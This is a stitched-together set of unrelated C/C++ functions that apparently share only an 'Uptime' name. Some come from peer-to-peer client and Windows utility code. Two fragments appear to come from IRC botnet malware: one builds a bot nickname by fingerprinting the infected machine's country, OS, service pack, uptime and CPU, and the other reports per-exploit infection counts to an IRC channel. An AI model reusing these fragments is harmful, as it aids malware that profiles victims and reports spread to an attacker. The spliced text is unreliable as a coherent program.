DATE CDnaCore::GetUptime2(LONG NetworkID) { if(NetworkID == NETWORK_GNUTELLA && m_gnuCore->m_pNet->m_pGnu) { CTimeSpan Uptime(CTime::GetCurrentTime() - m_gnuCore->m_pNet->m_pGnu->m_ClientUptime); COleDateTimeSpan OleTime(Uptime.GetDays(), Uptime.GetHours(), Uptime.GetMinutes(), Uptime.GetSeconds()); return (DATE) OleTime; } if(NetworkID == NETWORK_G2 && m_gnuCore->m_pNet->m_pG2) { CTimeSpan Uptime(CTime::GetCurrentTime() - m_gnuCore->m_pNet->m_pG2->m_ClientUptime); COleDateTimeSpan OleTime(Uptime.GetDays(), Uptime.GetHours(), Uptime.GetMinutes(), Uptime.GetSeconds()); return (DATE) OleTime; } return (DATE)0; }
char *Dnick(SOCKET sock, char *strbuf) { char temp[10], ip[16], cpu[16], up[10]; char *os="", *sp=""; OSVERSIONINFO verinfo; verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&verinfo); if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) { if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) os = "95"; if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT) os = "NT"; } else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) os = "98"; else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) os = "ME"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) os = "2K"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) os = "XP"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) os = "23"; else os = "UN"; if (strcmp(verinfo.szCSDVersion, "\0") == 0) sp = "SP0"; else if (strstr(verinfo.szCSDVersion, "1") != NULL) sp = "SP1"; else if (strstr(verinfo.szCSDVersion, "2") != NULL) sp = "SP2"; else if (strstr(verinfo.szCSDVersion, "3") != NULL) sp = "SP3"; else if (strstr(verinfo.szCSDVersion, "4") != NULL) sp = "SP4"; else sp = "UNK"; if (PrivateIP(GetIP(sock))) _snprintf(ip, sizeof(ip), "L"); else _snprintf(ip, sizeof(ip), "W"); //get uptime int up1=-1, up2=-1, up3=-1; sscanf(Uptime(), "%dd %dh %dm", &up1, &up2, &up3); if (up1 < 10) _snprintf(up, sizeof(up), "0%d", up1); else if (up1 < 100) itoa(up1, up, 10); else _snprintf(up, sizeof(up), "99"); //get cpu speed //%I64uMHz int cpua = (int)GetCPUSpeed(); if (cpua < 1000) _snprintf(cpu, sizeof(cpu), "0%d", cpua); else _snprintf(cpu, sizeof(cpu), "%d", cpua); srand(GetTickCount()); GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, temp, sizeof(temp)); _snprintf(strbuf, MAXNICKLEN, "%s|%s|%s|%s|%s|%s|", temp, os, sp, up, cpu, ip); for (int i = 0; i < maxrand; i++) _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10); return (strbuf); }
DATE CDnaCore::GetUptime(void) { if(m_gnuCore->m_pNet->m_pGnu) { CTimeSpan Uptime(CTime::GetCurrentTime() - m_gnuCore->m_pNet->m_pGnu->m_ClientUptime); COleDateTimeSpan OleTime(Uptime.GetDays(), Uptime.GetHours(), Uptime.GetMinutes(), Uptime.GetSeconds()); return (DATE) OleTime; } return (DATE) 0; }
void ListExploitStats(SOCKET sock, char *chan, BOOL notice) { char buffer[IRCLINE], buffer2[IRCLINE]; int extotal = 0; sprintf(buffer, "%s",mn_title); for(int i=0; exploit[i].port != 0; i++) { extotal += exploit[i].stats; sprintf(buffer2,"[%s]: %d,",exploit[i].name,exploit[i].stats); strncat(buffer, buffer2, sizeof(buffer)); } sprintf(buffer2, "Total: %d in %s", extotal, Uptime(started)); strncat(buffer, buffer2, sizeof(buffer)); irc_privmsg(sock, chan, buffer, notice); addlog(buffer); return; }
ustring WinSysTimers::UptimeAsText() { size_t uptime = Uptime(); size_t ud = uptime / (60 * 60 * 24); uptime %= (60 * 60 * 24); size_t uh = uptime / (60 * 60); uptime %= (60 * 60); size_t um = uptime / 60; size_t us = uptime % 60; ustring Result; if (ud) { Result += Base::as_str(ud); Result += L"d "; } Result += Base::as_str(uh); Result += L":"; Result += Base::as_str(um); Result += L":"; Result += Base::as_str(us); return Result; }